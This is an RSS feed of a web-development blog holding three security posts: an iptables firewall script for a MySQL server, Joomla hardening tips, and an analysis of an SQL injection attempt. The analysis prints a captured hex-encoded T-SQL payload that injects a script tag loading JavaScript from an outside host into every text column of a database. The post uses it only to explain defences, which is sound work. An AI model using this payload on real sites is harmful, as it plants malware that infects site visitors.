<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>About Web Development by Activo &#187; security</title>
	<atom:link href="http://www.activoinc.com/blog/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.activoinc.com/blog</link>
	<description>Web Development in a Web 2.0 World</description>
	<lastBuildDate>Wed, 24 Nov 2010 00:25:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tightening up iptables for a dedicated DB server (MySQL and CentOS)</title>
		<link>http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/</link>
		<comments>http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 00:40:38 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
				<category><![CDATA[LAMP: Linux Apache MySQL PHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=191</guid>
		<description><![CDATA[In a typical high performing web servers environment I have a few web servers running apache/php and a separate DB server to support them. If the need ever comes to increase the capacity of the DB server it can easily be done via the MySQL clustering configuration. In any case, one of the most redundant [...]]]></description>
			<content:encoded><![CDATA[<p>In a typical high performing web servers environment I have a few web servers running apache/php and a separate DB server to support them. If the need ever comes to increase the capacity of the DB server it can easily be done via the MySQL clustering configuration. In any case, one of the most redundant tasks before setting up all servers is to tighten the security. In particular, setting the firewall is a repetitive task. Hence I am setting this page as a guide to myself and anyone who cares, Enjoy!</p>
<ol>
<li>SSH to the server, login as root</li>
<li>type <strong>vi myiptables-mysql</strong></li>
<li>Insert the following commands:<br />
<strong>NOTE: </strong>you will need to insert the web server&#8217;s ip addresses where I placed &lt;ip address#&gt;. These are the ip addresses that MySQL queries will originate from.</p>
<pre>#!/bin/bash
#
# iptables example configuration script
#
# Flush all current rules from iptables
#
iptables -F
#
# Allow SSH connections on tcp port 22
# This is essential when working on remote servers via SSH to prevent locking yourself out of the system
#
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

iptables -I INPUT 1 -i lo -p tcp --dport mysql -j ACCEPT
iptables -I INPUT 2 -i lo -p udp --dport mysql -j ACCEPT
iptables -I INPUT 3 -i eth0 -p tcp --dport mysql -s &lt;ip address1&gt; -j ACCEPT
iptables -I INPUT 3 -i eth0 -p tcp --dport mysql -s &lt;ip address2&gt; -j ACCEPT

#
# Set default policies for INPUT, FORWARD and OUTPUT chains
#
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
#
# Set access for localhost
#
iptables -A INPUT -i lo -j ACCEPT
#
# Accept packets belonging to established and related connections
#
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#
# Save settings
#
/sbin/service iptables save
#
# List rules
#
iptables -L -v</pre>
</li>
<li>save and exit</li>
<li>Allow the file to execute by typing this command: <strong>chmod +x myiptables-mysql</strong></li>
<li>Run the file by tying this command: <strong>./myiptables-mysql</strong></li>
<li>Test it and Enjoy!</li>
</ol>
<p>Security notice: yes, for an even tighter security it is possible to change the ports.</p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>September 3, 2009 -- <a href="http://www.activoinc.com/blog/2009/09/03/quick-way-to-update-fail2ban-jail-conf-file/" title="Quick Way to Update Fail2ban jail.conf file">Quick Way to Update Fail2ban jail.conf file</a> (0)</li><li>August 31, 2009 -- <a href="http://www.activoinc.com/blog/2009/08/31/performance-optimized-httpd-conf-for-magento-ecommerce/" title="Performance Optimized httpd.conf for Magento eCommerce">Performance Optimized httpd.conf for Magento eCommerce</a> (0)</li><li>August 24, 2009 -- <a href="http://www.activoinc.com/blog/2009/08/24/howto-setup-iptables-for-www-and-dbmysql-on-linux/" title="Howto setup iptables for www and db(mysql) on linux">Howto setup iptables for www and db(mysql) on linux</a> (0)</li><li>August 23, 2009 -- <a href="http://www.activoinc.com/blog/2009/08/23/centos-5-3-install-essentials/" title="CentOS 5.3 Install Essentials">CentOS 5.3 Install Essentials</a> (0)</li><li>August 3, 2009 -- <a href="http://www.activoinc.com/blog/2009/08/03/block-access-to-your-dedicated-server-automatically-if-more-than-3-failed-logins/" title="Block access to your dedicated server automatically if more than 3 failed logins">Block access to your dedicated server automatically if more than 3 failed logins</a> (0)</li><li>March 27, 2009 -- <a href="http://www.activoinc.com/blog/2009/03/27/recommended-visual-svn-server-now-with-subversion-16/" title="Recommended: Visual SVN Server, now with Subversion 1.6">Recommended: Visual SVN Server, now with Subversion 1.6</a> (1)</li><li>December 25, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/25/pdnsd-decrease-dns-response-time-and-save-bandwidth/" title="pdnsd &#8211; Decrease DNS response time and save bandwidth">pdnsd &#8211; Decrease DNS response time and save bandwidth</a> (0)</li><li>December 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/" title="Securing Joomla! CMS based sites">Securing Joomla! CMS based sites</a> (0)</li><li>November 30, 2008 -- <a href="http://www.activoinc.com/blog/2008/11/30/centos-for-linux-servers-a-cut-above/" title="CentOS for Linux Servers: a cut above">CentOS for Linux Servers: a cut above</a> (0)</li><li>August 19, 2008 -- <a href="http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/" title="Hack attempt: SQL Injection Tagreting MS SQL Servers">Hack attempt: SQL Injection Tagreting MS SQL Servers</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Securing Joomla! CMS based sites</title>
		<link>http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/</link>
		<comments>http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 09:00:58 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
				<category><![CDATA[Content Management Systems]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[Content Management System]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=149</guid>
		<description><![CDATA[Looks like turbulent water in the Joomla Security Forums, again. Let&#8217;s ignore this and focus on securing a Joomla installation:

1. Set the right file and folder permissions according to the Joomla guide:
Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There [...]]]></description>
			<content:encoded><![CDATA[<p>Looks like <a href="http://community.joomla.org/blogs/leadership/523-take-the-easy-way-out-just-blame-joomla.html">turbulent water</a> in the <a href="http://forum.joomla.org/viewforum.php?f=432">Joomla Security Forums</a>, again. Let&#8217;s ignore this and focus on securing a Joomla installation:</p>
<p><img class="alignnone size-full wp-image-150" title="secure-joomla-lock" src="http://www.activoinc.com/blog/wp-content/uploads/2008/12/secure-joomla-lock.jpg" alt="" width="470" height="261" /></p>
<p><strong>1. Set the right file and folder permissions according to the Joomla guide:</strong></p>
<blockquote><p>Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site &#8211;&gt; Global Configuration &#8211;&gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#8217;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.</p></blockquote>
<p><strong>2. Think twice before installing an extension</strong> &#8211; do you really need it? Most security vulnerabilities come from third party extensions. Especially ones that are pre-release or ones that have not been updated lately.<br />
<strong>3. Upgrade to the latest stable version of Joomla</strong>. The core team is hard at work for the community partly addressing security bugs and issues found. If you run a site based on an old version of Joomla &#8211; you are at risk because the security issues are well documented and available for anyone by exploring the tracker.<br />
<strong>4. Change your admin username</strong>. Very basic security tip that is recommended for almost every server out there.<br />
<strong>5.  Avoid shared servers</strong>. Virtual hosting is great if you are not in a position to afford a VPS or a full dedicated server, but it is not secure.<br />
<strong>6.  Protect your DB</strong>. Use a user other than the root, and do not allow connections from outside the machine. Even better, block the MySQL port completely.<br />
<strong>7. Use an SSL</strong>.  Simple, when you login and submit your username and password without an SSL, the information is not encrypted between you and the server. Potentially dangerous for packet sniffing exploits or in todays world, if you decide to work from a WiFi/Hot Spot.<br />
<strong>8. Separate your development from the production server.</strong> Avoid unclean code or left overs that may leave a back door.</p>
<p><strong>9. Remove unnecessary files from the site:</strong> remove the XML RPC server part of Joomla if you are not planning on using it. This service allows desktop applications to post directly to the site. Essentially providing access via this protocol. And if you just moved the site from another server delete the zipped files, since they contain your passwords in an unencrypted form!</p>
<p><strong>10. Monitor the logs for hack attempts.</strong> Who is trying to login to the administrator section when I was eating my turkey? <img src='http://www.activoinc.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  you get the idea&#8230;</p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>December 7, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/07/a-list-of-cms-ecommerce-and-blogging-systems-that-officially-support-jquery/" title="A list of CMS and eCommerce systems that officially support jQuery">A list of CMS and eCommerce systems that officially support jQuery</a> (2)</li><li>September 5, 2008 -- <a href="http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/" title="Joomla vs Ektron">Joomla vs Ektron</a> (2)</li><li>March 25, 2009 -- <a href="http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/" title="Tightening up iptables for a dedicated DB server (MySQL and CentOS)">Tightening up iptables for a dedicated DB server (MySQL and CentOS)</a> (1)</li><li>January 7, 2009 -- <a href="http://www.activoinc.com/blog/2009/01/07/2009-the-year-of-open-source-software/" title="2009, the year of Open Source Software">2009, the year of Open Source Software</a> (0)</li><li>December 4, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/04/can-magento-and-typo3-be-integrated-yes-with-typogento/" title="Can Magento and Typo3 be integrated? Yes, with TypoGento">Can Magento and Typo3 be integrated? Yes, with TypoGento</a> (0)</li><li>October 29, 2008 -- <a href="http://www.activoinc.com/blog/2008/10/29/is-magento-commerce-the-new-joomla/" title="Is Magento Commerce the new Joomla?">Is Magento Commerce the new Joomla?</a> (1)</li><li>August 19, 2008 -- <a href="http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/" title="Hack attempt: SQL Injection Tagreting MS SQL Servers">Hack attempt: SQL Injection Tagreting MS SQL Servers</a> (0)</li><li>August 19, 2008 -- <a href="http://www.activoinc.com/blog/2008/08/19/5-missing-features-preventing-joomla-cms-from-entering-the-enterprise-cms-market/" title="5 Missing Features Preventing Joomla! CMS from Entering the Enterprise CMS Market">5 Missing Features Preventing Joomla! CMS from Entering the Enterprise CMS Market</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack attempt: SQL Injection Tagreting MS SQL Servers</title>
		<link>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/</link>
		<comments>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 21:34:14 +0000</pubDate>
		<dc:creator>frankrusch</dc:creator>
				<category><![CDATA[.NET Framework]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MS SQL Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SQL Injection Attack]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=27</guid>
		<description><![CDATA[ 
I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.
Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> Normal   0               false   false   false      EN-US   X-NONE   X-NONE                                                     MicrosoftInternetExplorer4 </xml><![endif]--><!--[if gte mso 9]><xml> </xml><![endif]--> <!--[if gte mso 10]></p>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman","serif";}
</style>
<p><![endif]--></p>
<p>I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.</p>
<p>Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)</p>
<p>DECLARE @S VARCHAR(4000);SET @S=CAST(0&#215;4445434C4152452040542<br />
05641524348415228323535292C4043205641524348415228323535292<br />
04445434C415245205461626C655F437572736F7220435552534F52204<br />
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2<br />
07379736F626A6563747320612C737973636F6C756D6E7320622057484<br />
5524520612E69643D622E696420414E4420612E78747970653D2775272<br />
0414E442028622E78747970653D3939204F5220622E78747970653D333<br />
5204F5220622E78747970653D323331204F5220622E78747970653D313<br />
63729204F50454E205461626C655F437572736F72204645544348204E4<br />
558542046524F4D205461626C655F437572736F7220494E544F2040542<br />
C4043205748494C4528404046455443485F5354415455533D302920424<br />
547494E20455845432827555044415445205B272B40542B275D2053455<br />
4205B272B40432B275D3D525452494D28434F4E5645525428564152434<br />
841522834303030292C5B272B40432B275D29292B27273C73637269707<br />
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73<br />
3E3C2F7363726970743E27272729204645544348204E4558542046524F4<br />
D205461626C655F437572736F7220494E544F2040542C404320454E4420<br />
434C4F5345205461626C655F437572736F72204445414C4C4F434154452<br />
05461626C655F437572736F7220 AS VARCHAR(4000));</p>
<p>print @S;</p>
<p>This particular attack is well known and has been sighted in several variants:</p>
<p><a href="http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx">http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</a></p>
<p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx">http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx</a></p>
<p>Using the following web application best practices, we avoid getting hacked:</p>
<ul>
<li>Application level:
<ul>
<li>Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.</li>
<li>Always use Stored Procedures and/or Parameterized database queries. Don&#8217;t build SQL queries using string concatenation.</li>
<li>Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.</li>
</ul>
</li>
<li>Database level:
<ul>
<li>Use limited database permissions. For example, for SQL Server, don&#8217;t let you application run under the &#8220;sa&#8221; user. The database user should only have permission in the particular database used by the application.</li>
<li>If possible, disable extended stored procedures such as xp_cmdshell.</li>
<li>Don&#8217;t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.<br />
Some DBAs have server-wide policies of no Dynamic SQL.</li>
</ul>
</li>
</ul>
<ul>
<li>Web server level:
<ul>
<li>If appropriate, filter requests. IIS 7 offers requestFiltering options. <a href="http://msdn.microsoft.com/en-us/library/ms689462.aspx">http://msdn.microsoft.com/en-us/library/ms689462.aspx</a><br />
For example, the maxQueryString parameter could be used to block the exploit attempt above.</li>
<li>For II6: <a href="http://technet.microsoft.com/en-us/security/cc242650.aspx">http://technet.microsoft.com/en-us/security/cc242650.aspx</a></li>
</ul>
</li>
<li>Miscellaneous
<ul>
<li>Install security patches as soon as they become available.</li>
</ul>
</li>
</ul>
<p>The application level is crucial. Since a web application may someday be moved to a new server, we can&#8217;t assume that the web server and database have been configured using best practices.</p>
<p>All layers of security are important, though: If you&#8217;re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.</p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>March 25, 2009 -- <a href="http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/" title="Tightening up iptables for a dedicated DB server (MySQL and CentOS)">Tightening up iptables for a dedicated DB server (MySQL and CentOS)</a> (1)</li><li>January 7, 2009 -- <a href="http://www.activoinc.com/blog/2009/01/07/2009-the-year-of-open-source-software/" title="2009, the year of Open Source Software">2009, the year of Open Source Software</a> (0)</li><li>December 7, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/07/a-list-of-cms-ecommerce-and-blogging-systems-that-officially-support-jquery/" title="A list of CMS and eCommerce systems that officially support jQuery">A list of CMS and eCommerce systems that officially support jQuery</a> (2)</li><li>December 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/" title="Securing Joomla! CMS based sites">Securing Joomla! CMS based sites</a> (0)</li><li>November 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/11/03/jquery-emerges-as-most-popular-javascript-library-for-web-development/" title="jQuery Emerges as Most Popular Javascript Library for Web Development">jQuery Emerges as Most Popular Javascript Library for Web Development</a> (2)</li><li>October 6, 2008 -- <a href="http://www.activoinc.com/blog/2008/10/06/ektron-cms400-70-issues-with-net-framework-35-sp1/" title="Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1">Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1</a> (2)</li><li>September 5, 2008 -- <a href="http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/" title="Joomla vs Ektron">Joomla vs Ektron</a> (2)</li><li>July 30, 2008 -- <a href="http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/" title="Ektron: Clarification on User Controls vs API">Ektron: Clarification on User Controls vs API</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

